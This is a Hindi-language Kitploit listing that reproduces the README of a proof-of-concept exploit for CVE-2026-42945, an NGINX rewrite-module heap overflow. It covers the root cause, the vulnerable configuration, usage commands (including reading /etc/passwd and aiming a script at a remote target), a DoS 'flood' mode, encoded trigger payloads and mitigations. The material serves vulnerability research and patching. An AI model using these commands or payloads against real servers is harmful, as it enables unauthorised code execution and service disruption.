Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/forxiucn/nginx-cve-2026-42945-poc
कंटेनर सुरक्षागतिशील विश्लेषण (सैंडबॉक्सिंग)भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणफज़िंगपेनिट्रेशन टेस्टिंगबाइनरी शोषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

CVE-2026-42945 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, NGINX रीराइट मॉड्यूल में एक महत्वपूर्ण हीप ओवरफ़्लो, जो क्राफ्टेड URI एन्कोडिंग के माध्यम से अप्रमाणित रिमोट कोड निष्पादन को सक्षम बनाता है। इसमें Docker-आधारित परीक्षण वातावरण, ASAN सत्यापन, और कई एक्सप्लॉइट स्क्रिप्ट शामिल हैं।

GitHub
forxiucn/nginx-cve-2026-42945-poc

nginx-cve-2026-42945-poc

रिपॉजिटरी देखें
153 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2026-42945 — NGINX Rewrite Module ढेर बफर अतिप्रवाह → RCE

RCE सफलतापूर्वक पुष्टि की गई — ढेर अतिप्रवाह + GDB प्रक्रिया इंजेक्शन के माध्यम से, NGINX / OpenResty worker प्रक्रिया में मनमाना कमांड निष्पादित करें।

त्वरित आरंभ

root@kitploit:~
# एक-क्लिक NGINX इमेज बिल्ड + RCE परीक्षण निष्पादित करें
./run.sh nginx

# एक-क्लिक OpenResty इमेज बिल्ड + RCE परीक्षण निष्पादित करें
./run.sh openresty

# कस्टम कमांड
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

भेद्यता अवलोकन

विशेषतामान
CVE संख्याCVE-2026-42945
भेद्यता प्रकारढेर बफर अतिप्रवाह → दूरस्थ कोड निष्पादन (RCE)
प्रभावित घटकngx_http_rewrite_module
प्रभावित संस्करणNGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
भेद्यता स्कोरCVSS 9.4 (गंभीर)
शोषण की शर्तेंप्रमाणीकरण आवश्यक नहीं; RCE के लिए ptrace अनुमति आवश्यक (रूट)

भेद्यता का मूल कारण

ngx_http_script_complex_value_code() URI के डिकोड की गई लंबाई के अनुसार बफर आवंटित करता है, लेकिन ngx_http_script_copy_capture_code() ngx_escape_uri() को एन्कोड की गई लंबाई के अनुसार लिखने के लिए कॉल करता है। URL एन्कोडिंग वर्ण 3 गुना फैलते हैं → ढेर अतिप्रवाह।

ट्रिगर शर्तें

तीन शर्तों को एक साथ पूरा होना चाहिए:

  1. rewrite और set निर्देश एक ही स्थान पर
  2. rewrite प्रतिस्थापन स्ट्रिंग में ? शामिल है
  3. set rewrite के कैप्चर वेरिएबल $1 को संदर्भित करता है
root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # '?' शामिल है
    set $original_endpoint $1;                     # $1 संदर्भित करता है
}

ASAN द्वारा पुष्टि किया गया स्टैक

root@kitploit:~
#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

परियोजना संरचना

root@kitploit:~
.
├── run.sh                          # एक-क्लिक निर्माण + परीक्षण प्रवेश बिंदु
├── README.md
│
├── scripts/                        # परीक्षण और शोषण स्क्रिप्ट
│   ├── rce.sh                      # शुद्ध शेल RCE (curl + GDB, कोई Python नहीं)
│   ├── exploit_rce.py              # Python RCE (संगत 2.7/3.x)
│   ├── exploit.py                  # PoC मुख्य स्क्रिप्ट (check/exploit/rce/flood)
│   └── exploit_asan.py             # ASAN पूर्ण स्कैन
│
├── package/                        # तैनाती और ऑर्केस्ट्रेशन फ़ाइलें
│   ├── Dockerfile.rce              # NGINX स्रोत कोड संकलन + RCE वातावरण
│   ├── Dockerfile.openresty.rce    # OpenResty स्रोत कोड संकलन + RCE वातावरण
│   ├── Dockerfile                  # आधार इमेज (Alpine)
│   ├── Dockerfile.asan             # ASAN डिबग इमेज
│   ├── docker-compose.yml          # Docker ऑर्केस्ट्रेशन (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # NGINX भेद्यता कॉन्फ़िगरेशन
│   ├── nginx-openresty.conf        # OpenResty भेद्यता कॉन्फ़िगरेशन
│   ├── start_rce.sh                # NGINX RCE कंटेनर प्रारंभ स्क्रिप्ट
│   └── start_openresty_rce.sh      # OpenResty RCE कंटेनर प्रारंभ स्क्रिप्ट
│
└── src/                            # स्रोत कोड (संकलन के लिए)
    ├── nginx-1.26.3/               # NGINX 1.26.3 स्रोत कोड
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # OpenResty 1.25.3.1 (अंतर्निहित nginx/1.25.3)

विस्तृत उपयोग

Docker कंटेनर के अंदर परीक्षण

root@kitploit:~
# शेल स्क्रिप्ट (कोई Python निर्भरता नहीं)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Python स्क्रिप्ट (संगत 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# OpenResty के लिए भी यही
docker exec openresty-rce bash /opt/rce.sh 'id'

होस्ट से exec द्वारा कंटेनर में प्रवेश

root@kitploit:~
docker exec -it nginx-rce bash
# कंटेनर के अंदर:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

सीधे दूरस्थ लक्ष्य का परीक्षण करें

root@kitploit:~
# रूट + ptrace अनुमति आवश्यक
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

PoC मुख्य स्क्रिप्ट (चार मोड)

root@kitploit:~
python3 scripts/exploit.py --target http://localhost:8775 --mode check     # भेद्यता जांचें
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # ASAN ढेर अतिप्रवाह सत्यापन
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # RCE जोखिम मूल्यांकन
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # DoS लोड परीक्षण

ट्रिगर Payload

सुधार सुझाव

  1. NGINX को अपग्रेड करें 1.30.2+ पर
  2. अस्थायी शमन: rewrite (? सहित) + set ($1 संदर्भित) संयोजन से बचें
  3. WAF नियम: बड़ी संख्या में %25/%3f/%23/%26 एन्कोडेड अनुरोधों को अवरुद्ध करें
  4. अनुमति सुदृढ़ीकरण: echo 1 > /proc/sys/kernel/yama/ptrace_scope

संदर्भ

  • F5 Advisory K000161019
  • NGINX Source
टूल डाउनलोड करें
Payloadविवरणपरिणाम
/api/%25 × Nएन्कोडेड %✅ ढेर अतिप्रवाह
/api/%3f × Nएन्कोडेड ?✅ ढेर अतिप्रवाह
/api/%23 × Nएन्कोडेड #✅ ढेर अतिप्रवाह
/api/%26 × Nएन्कोडेड &✅ ढेर अतिप्रवाह